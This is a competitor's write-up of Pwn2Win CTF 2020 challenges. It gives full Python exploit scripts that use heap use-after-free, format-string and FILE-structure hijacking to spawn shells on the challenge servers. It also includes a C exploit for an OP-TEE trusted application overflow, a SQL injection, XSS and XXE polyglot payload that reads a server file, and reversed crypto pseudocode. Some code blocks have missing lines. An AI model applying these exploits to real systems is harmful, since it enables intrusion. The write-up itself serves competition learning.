Pwn2Win CTF 2020 Writeups

Pwn2Win CTF 2020 had been held from May 30th for 48 hours. I played it in zer0pts and reached 6th place.


Especially pwn tasks were a lot of fun!

Other members' writeups:



The tasks and my solvers of some tasks I tried are available here.

[Pwn 263pts] At Your Command

Description: Through reverse engineering work on Pixel 6, we identified the ButcherCorp server responsible for programming the RBSes. Our exploration team was only able to have limited access to this machine and extract the binaries from the programming service. As it runs with high privilege, exploiting it will allow us to extract more data from that server. Those data will bring us closer to the discovery of the person responsible for the Rebellion. Can you help us with this task?
Server: nc command.pwn2.win 1337
Files: command, libc.so.6

We're given a 64-bit ELF.

$ checksec -f command
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      Yes     0               7       command

Analysing the binary with IDA, I found two vulnerabilities: UAF(read), FSB. It's a simple note with the chunk size fixed to 0x188. We can't edit it but can read the contents after freed. Since the chunk size is enough large to be linked into unsorted bin (when tcache is full), we can leak the libc address.

The length of FSB payload (name) is up to 12-bytes and we can use it only once on exit. The stack layout when sprintf causes FSB looks like this:

pwndbg> x/32xg $rsp
0x7ffd67d9e820: 0x00007ffd67d9e880      0x00007ffd67d9e890
0x7ffd67d9e830: 0x0000000a83948080      0x000000000000007b
0x7ffd67d9e840: 0x0000000000000000      0x0000000000000000
0x7ffd67d9e850: 0x0000000000000000      0x0000000000000000
0x7ffd67d9e860: 0x00007ffd00000000      0x9c51adac97b21800
0x7ffd67d9e870: 0x00007ffd67d9e8f0      0x000055ab83747500
0x7ffd67d9e880: 0x000055ab844fb260      0x0000000000000005
0x7ffd67d9e890: 0x0000000000000000      0x0000000000000000
0x7ffd67d9e8a0: 0x0000000000000000      0x0000000000000000
0x7ffd67d9e8b0: 0x0000000000000000      0x0000000000000000
0x7ffd67d9e8c0: 0x0000000000000000      0x0000000000000000
0x7ffd67d9e8d0: 0x0000000000000000      0x0000000000000000
0x7ffd67d9e8e0: 0x00007ffd67d9e9d0      0x9c51adac97b21800
0x7ffd67d9e8f0: 0x000055ab83747530      0x00007f62fa1c9b97
0x7ffd67d9e900: 0x0000000000000001      0x00007ffd67d9e9d8
0x7ffd67d9e910: 0x0000000100008000      0x000055ab837473af

The user-input is stored in bss. There's one controllable region at 0x7ffd67d9e830 (ID) but it's of integer and we can't use it as address.

Taking a closer look, I found the value at 0x7ffd67d9e820 points to FILE* pointer, which is at 0x7ffd67d9e880. As we can create chunks in the note function, we can prepare a fake FILE structure on heap. By controlling the two least-significant-bytes of the FILE pointer, we can make it point to the fake FILE structure.

The binary calls fclose before exiting, which calls _IO_file_finish. We can't simply forge the vtable because the libc version is 2.27. Instead, I forged the vtable to point to _IO_str_jumps. However, we can't just make it _IO_str_jumps as it'll call _IO_str_finish instead of _IO_str_overflow.

   0x7f62fa2262b4 <fclose+100>    xor    esi, esi
   0x7f62fa2262b6 <fclose+102>    mov    rdi, rbx
 ► 0x7f62fa2262b9 <fclose+105>    call   qword ptr [r12 + 0x10] <0x7f62fa234330>
        rdi: 0x55ab844fb260 ◂— 0xfbad240c
        rsi: 0x0
        rdx: 0x7f62fa58f760 (_IO_helper_jumps) ◂— 0x0
        rcx: 0xb40

_IO_str_overflow is located right after _IO_str_finish, so I made the vtable _IO_str_jumps+8.

Here is the final exploit:

from ptrlib import *

def add(priority, data):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", str(priority))
    sock.sendafter(": ", data)
def show(index):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(": ", str(index))
    priority = int(sock.recvlineafter(": "))
    command = sock.recvlineafter(": ")
    return priority, command
def delete(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(": ", str(index))

libc = ELF("./libc.so.6")
#sock = Process("./command")
sock = Socket("command.pwn2.win", 1337)

sock.sendafter(": ", "%{}c%4$hn".format(0x7260))

# libc leak
for i in range(8):
    add(0, "A")
for i in range(1, 8):
logger.info("evict tcache: done")
for i in range(7):
    add(0, "A")
add(0, "\x40")
libc_base = u64(show(7)[1]) - libc.main_arena()
logger.info("libc = " + hex(libc_base))

# create fake file structure
new_size = libc_base + next(libc.find("/bin/sh"))
payload = b''
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64((new_size - 100) // 2) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64((new_size - 100) // 2) # _IO_buf_end
payload += p64(0) * 4
payload += p64(libc_base + libc.symbol("_IO_2_1_stderr_"))
payload += p64(3) + p64(0)
payload += p64(0) + p64(libc_base + 0x3ed8c0)
payload += p64((1<<64) - 1) + p64(0)
payload += p64(libc_base + 0x3eb8c0)
payload += p64(0) * 6
payload += p64(libc_base + 0x3e8360 + 8) # _IO_str_jumps + 8
payload += p64(libc_base + libc.symbol("system"))
add(0xfbad1800, payload)
sock.sendlineafter("> ", "5")
logger.info("fake vtable: done")

# get the shell
sock.sendlineafter("?\n", "1")


It works with guess of 4-bit entropy.

[Pwn 298pts] Tukro

Description: We found out that Androids are using a secret service to leave messages between them. We need to compromise that server to discover its secrets.
Server: nc tukro.pwn2.win 1337
Files: tukro, libc.so.6

It's a 64-bit ELF.

$ checksec -f tukro
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      Yes     0               3       tukro

It's sort of mail(?) service, in which we can send a message to another users. The structure looks like this:

typedef struct {
  char username[0x10];
  char password[0x10];
  long num;
  struct {
    char *contents;
    long senderID;
  } testimonial[10];
} Account; // sizeof(Account) == 0xc8

Account users[3];

contents is allocated by malloc(0x500). The vulnerability is that, a user sends a message to another user and the sender can read the message even after the receiver deletes the message. As we can also edit the sent message, we have UAF read, write! The size of the chunk is large enough not to be linked into tcache/fastbin and libc leak is done.

However, what can we do with the 0x510-byte chunk?

I used House of Husk here. As I mentioned in the Japanese version, House of Husk can also be used for _IO_2_1_stdout_ in libc-2.23.

What we do is actually very simple in House of Husk:

  • Overwrite global_max_fast by unsorted bin attack
  • Free a fake chunk whose size is offset2size(_IO_2_1_stdout_->vtable - &fastbin[0])

And now _IO_2_1_stdout_->vtable points to our fake vtable :)

Here is the final exploit:

from ptrlib import *

def signup(username, password):
    sock.sendlineafter(": ", "1")
    sock.sendafter(": ", username)
    sock.sendafter(": ", password)
def signin(username, password):
    sock.sendlineafter(": ", "2")
    sock.sendafter(": ", username)
    sock.sendafter(": ", password)
def add(target, contents):
    sock.sendlineafter(": ", "1")
    sock.sendafter(": ", target)
    sock.sendafter(": ", contents)
def edit(index=None, contents=None):
    sock.sendlineafter(": ", "3")
    r = []
    while True:
        if b'Edit Testimonial' in sock.recvuntil(": "):
    if index is None:
        return r
        sock.sendlineafter(": ", str(index))
        sock.sendafter(": ", contents)
def show_written():
    return edit()
def show_received():
    sock.sendlineafter(": ", "2")
    r = []
    while True:
        l = sock.recvline()
        if b'Testimonial' in l:
            l = sock.recvline()
            if b'----' in l:
        elif b'----' in l:
    return r
def delete(index):
    sock.sendlineafter(": ", "4")
    sock.sendlineafter(": ", str(index))
def signout():
    sock.sendlineafter(": ", "5")

def offset2size(ofs):
    return (ofs * 2 - 0x10)

libc = ELF("./libc.so.6")
global_max_fast = 0x3c67f8
stdout_vtable = libc.symbol('_IO_2_1_stdout_') + 0xd8
one_gadget = 0xf1147
#sock = Socket("localhost", 9999)
sock = Socket("tukro.pwn2.win", 1337)

signup("AAAAAAAA", "password")
signup("BBBBBBBB", "password")
signup("CCCCCCCC", "password")

# libc leak
signin("BBBBBBBB", "password")
add("AAAAAAAA", "a" * 0x10)
add("AAAAAAAA", b'b' * 0x208 + p64(0x21) + b'b' * 0x18 + p64(0x21))
add("AAAAAAAA", "c" * 0x10)
add("CCCCCCCC", "d" * 0x10)
add("CCCCCCCC", "e" * 0x10)
add("CCCCCCCC", p64(0x21) * (0x500 // 8))

signin("AAAAAAAA", "password")

signin("BBBBBBBB", "password")
libc_base = u64(show_written()[2]) - libc.main_arena() - 0x58
logger.info("libc = " + hex(libc_base))

# overwrite global_max_fast
edit(3, p64(0) + p64(libc_base + global_max_fast - 0x10))
add("AAAAAAAA", b"a" * 0x208 + p64(0x511))

# heap leak
signin("AAAAAAAA", "password")
signin("CCCCCCCC", "password")
signin("BBBBBBBB", "password")
heap_base = u64(show_written()[-1]) - 0x510*2
logger.info("heap = " + hex(heap_base))

# house of husk
edit(6, p64(heap_base + 0x210))
add("AAAAAAAA", "1" * 0x10)
payload = b'A' *  0x2f0
payload += p64(0) + p64(offset2size(stdout_vtable + 0x10 - libc.main_arena()) | 1)
payload += p64(0xdeadbeef) * 5
payload += p64(libc_base + one_gadget)
add("AAAAAAAA", payload)

signin("AAAAAAAA", "password")


[Pwn 340pts] Trusted Node

Description: In the past, Androids used an old trusted technology to keep a secret that was shared by each Android that connected to an Internet of Things node. TEEs were a promising technology. We were able to find and access one of these devices. Now, we believe it holds the key to understanding communication between the Androids.
Our engineers were able to redo almost the entire environment, using the 3.8.0 version of OP-TEE, but were unable to find the key. Can you help us?
We suspect of the trusted application deadbeef-dead-dead-dead-deaddeadbeef.ta
The Android service has some time limits:
(1) Time limit for taking proof of work;
(2) Time limit for delivering information for connection;
(3) Time limit within the system.
We need your help!

Server: nc trustednode.pwn2.win 1337
Files: trusted_node_308c84ba63f1d267c8da2500ffcdba679edd491cb4bfa0bdbd22f71ba899df7c.tar.gz

We're given a linux kernel (qemu image) of AArch64. As the description says, there's a suspicious module at /lib/optee_armtz/deadbeef-dead-dead-dead-deaddeadbeef.ta. This is a binary called "Trusted Application," which is used in TrustedZone of ARM.

Also, there's a curious ELF at /usr/bin/android_get_increment. This calls the API(?) of the TA (deadbeef-dead-dead-dead-deaddeadbeef.ta), which always fails.

I had no idea what TrustedZone is and how to analyse a Trusted Application. I opened the TA in hexdump and found it contains ELF file in it. So, I dumped it by binwalk and started analysing it with Ghidra.

The TA has 2 important functions: inc_value and get_secret.

undefined8 inc_value(undefined8 param_1,int param_2,int param_type,undefined8 *params)

  undefined8 retval;
  uint value [2];
  undefined8 local_8;
  if (param_2 == 0) {
    IMSG("inc_value",0x6c,1,1,"Executing function at %p",0x100020);
    if (param_type == 0x665) {
      value[0] = 0;
      TEE_MemMove(value,*params,(ulonglong)*(uint *)(params + 1));
      IMSG("inc_value",0x72,2,1,"Got value: %u from NW",(ulonglong)value[0]);
      value[0] = value[0] + 1;
      IMSG("inc_value",0x74,2,1,"Increase value to: %u");
      local_8 = 0x100020;
      retval = 0;
    else {
      retval = 0xffff0006;
    return retval;
  return 0xffff0006;

This is what android_get_increment tries to call through TA_InvokeCommandEntryPoint (FUN_0010242c). It fails because the param_type is wrong.

void get_secret(void)

  uint ret;
  int ret_;
  undefined8 uVar1;
  uint local_11c;
  undefined auStack280 [16];
  undefined *local_108;
  undefined4 local_100;
  undefined auStack252 [52];
  undefined op [200];
  IMSG("get_secret",0x38,1,1,"Here is the key, Android! Long live the rebellion!");
  uVar1 = FUN_00100388(auStack280,&DAT_0010a6d8,0x10);
  ret = TEEC_InvokeCommand(uVar1,0,0,0,&DAT_0010c428,&local_11c);
  if (ret != 0) {
    IMSG("get_secret",0x4c,1,1,"TEE_InvokeCommand failed with code 0x%x origin 0x%x",(ulonglong)ret,
  local_100 = 0xbe;
  local_108 = op;
  ret_ = FUN_00101a80(DAT_0010c428,0,0,6,&local_108,&local_11c);
  if (ret_ != 0) {

This function seems writing the flag to the serial port. However, there's no path to call it.

So, our goal is pwn the TA and call get_secret. You can easily find the vulnerability in inc_value.

TEE_MemMove(value,*params,(ulonglong)*(uint *)(params + 1));

Now it's clear. We just need to overwrite the return address to the address of get_secret. It seems ASLR (or similar mechanism) is enabled in the kernel but it doesn't matter because the base address of the TA is written in the log printed through the serial port.

As I had no idea how to properly call inc_value, I manually fuzzed(?) to find a crash. I found setting tmpref for all of the op.params and making the 4th element of the buffer gives rip control :)

Here is the final exploit:

#include <err.h>
#include <stdio.h>
#include <string.h>
#include <tee_client_api.h>

TEEC_UUID uuid = { 0xdeadbeef, 0xdead, 0xdead,                          \
                   { 0xde, 0xad, 0xde, 0xad, 0xde, 0xad, 0xbe, 0xef} };
unsigned long base;

int main(void)
  TEEC_Result res;
  TEEC_Context ctx;
  TEEC_Session sess;
  TEEC_Operation op;
  uint32_t err_origin;

  res = TEEC_InitializeContext(NULL, &ctx);
  if (res != TEEC_SUCCESS)
    errx(1, "TEEC_InitializeContext failed with code 0x%x", res);

  res = TEEC_OpenSession(&ctx, &sess, &uuid,
                         TEEC_LOGIN_PUBLIC, NULL, NULL, &err_origin);
  if (res != TEEC_SUCCESS)
    errx(1, "TEEC_Opensession failed with code 0x%x origin 0x%x",
         res, err_origin);

  printf("base: ");
  scanf("%lx", &base);
  unsigned long addr_win = base + 0x200;

  unsigned long buffer[10];
  buffer[0] = 0xc0beb33f;
  buffer[1] = 0xc0b3beef;
  buffer[2] = 0xffffffffdddddddd;
  buffer[3] = addr_win;
  buffer[4] = 0xfffffffffee1de00;
  buffer[5] = 0xfffffffffee1de11;
  buffer[6] = 0xfffffffffee1de22;
  buffer[7] = 0xfffffffffee1de33;
  buffer[8] = 0xfffffffffee1de44;
  buffer[9] = 0xfffffffffee1de55;

  memset(&op, 0, sizeof(op));
  op.paramTypes = 0x665;
  op.params[0].tmpref.buffer = (void*)buffer;
  op.params[0].tmpref.size = 8*10;
  op.params[1].tmpref.buffer = (void*)buffer;
  op.params[1].tmpref.size = 8*10;
  op.params[2].tmpref.buffer = (void*)buffer;
  op.params[2].tmpref.size = 8*10;
  op.params[3].tmpref.buffer = (void*)buffer;
  op.params[3].tmpref.size = 8*10;

  res = TEEC_InvokeCommand(&sess, 0, &op, &err_origin);
  if (res != TEEC_SUCCESS) {
    errx(1, "TEEC_InvokeCommand failed with code 0x%x origin 0x%x",
         res, err_origin);

    return 0;

[Web 171pts] A Payload To Rule Them All

Description: Automated tools are NOT required and NOT allowed, it's a technical challenge!
Server: http://payload.pwn2.win

It's a challenge to write polyglot of SQLi + XSS + XXE.

When I took a look on this challenge, @st98 had already found a payload which causes SQLi + XXE. I just tried some patterns and found a way to make it a valid JS. Here is my payload:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE root [<!ENTITY hoge SYSTEM "/home/gnx/script/xxe_secret">
<!ENTITY xxx ">var a=">]><root><sqli>' union select password,password,password from users/*</sqli><xxe>&hoge;";</xxe><x>xss=1;a="*/where '1'!='1";</x></root>

Be careful that we can't use # as MySQL command since it's regarded as an anchor.

[Rev,Crypto 303pts] S1 Protocol (rev part)

Description: We captured one of the human-like robots (androids) and extracted a binary from its memory. Now it is your mission to reverse it and understand how the encryption of the S1 Protocol works.
File: binary, output.txt

We're given a statically linked + stripped binary. When I tried this task, @theoremoon had already found libgmp is linked to the binary. I just compared the CFG with those in libgmp and revealed functions one by one.

This is the overview of the program I reverse engineered:

int size_128 = 0x80;
int size_21  = 0x15;

// sub_401CAD
void bytes2long(mpz_t a, char *bytes, int len) {
  char *hex = alloca(len * 2);
  for(int i = 0; i < len; i++) {
    sprintf(&hex[i*2], "%02X", bytes[i]);
  mpz_set_string(a, hex, 16);

void getRandomBytes(char *buf, int size) {
  FILE *fp = fopen("/dev/urandom", "r");
  fread(buffer, 1, size, fp);

int main() {
  mpz_t p, q, n, e, r, mod, result;

  char *rndBuffer = alloca(size_128);
  char *rnd21bytes = alloca(size_21);
  char *flag = alloca(size_128);

  // generate p and q
  do {
    getRandomBytes(rnd21bytes, size_21);
    for(int i = 0; i < size_128 / size_21; i++) {
      memcpy(&rndBuffer[i*size_21], size_21, rnd21bytes);
    getRandomBytes(&rndBuffer[i*size_21], size_128 % size_21);
    bytes2long(p, rndBuffer, size_128);
    mpz_setbit(p, size_128 * 8 - 2);
    mpz_setbit(p, size_128 * 8 - 1);
    mpz_setbit(p, 0);
  } while(mpz_probab_prime_p(p, 30));
  do {
    getRandomBytes(rndBuffer, size_128);
    bytes2long(q, rndBuffer, size_128);
    mpz_setbit(q, size_128 * 8 - 2);
    mpz_setbit(q, size_128 * 8 - 1);
    mpz_setbit(q, 0);
  } while(mpz_probab_prime_p(q, 30));

  FILE *fp = fopen("flag.txt", "r");
  int len_flag = fread(flag, 1, size_128, fp);

    e = bytes2long(flag)
    r = bytes2long(os.urandom(0x7f))

    n = p * q
    mod = n ** 3
    r = pow(r, n, mod)
    n += 1
    mod *= n
    result = pow(n, e, mod)

    print(n, r, result)
  bytes2long(e, flag, len_flag);
  getRandomBytes(rndBuffer, 0x7f);
  bytes2long(r, rndBuffer, 0x7f);

  mpz_mul(n, p, q);
  mpz_mul(mod, n, n);
  mpz_mul(mod, n, mod);
  mpz_powm(r, r, n, mod);

  mpz_add_ui(n, n, 1);
  mpz_mul(mod, n, mod);
  mpz_powm(result, n, e, mod);

  // n = p * q
  // r = r^n mod n^3
  // c = (n+1)^e mod (n^3 * (n+1))
  gmp_printf("%Zd\n\n", n);
  gmp_printf("%Zd\n\n", r);
  gmp_printf("%Zd\n\n", result);

Check theoremoon's writeup for crypto part.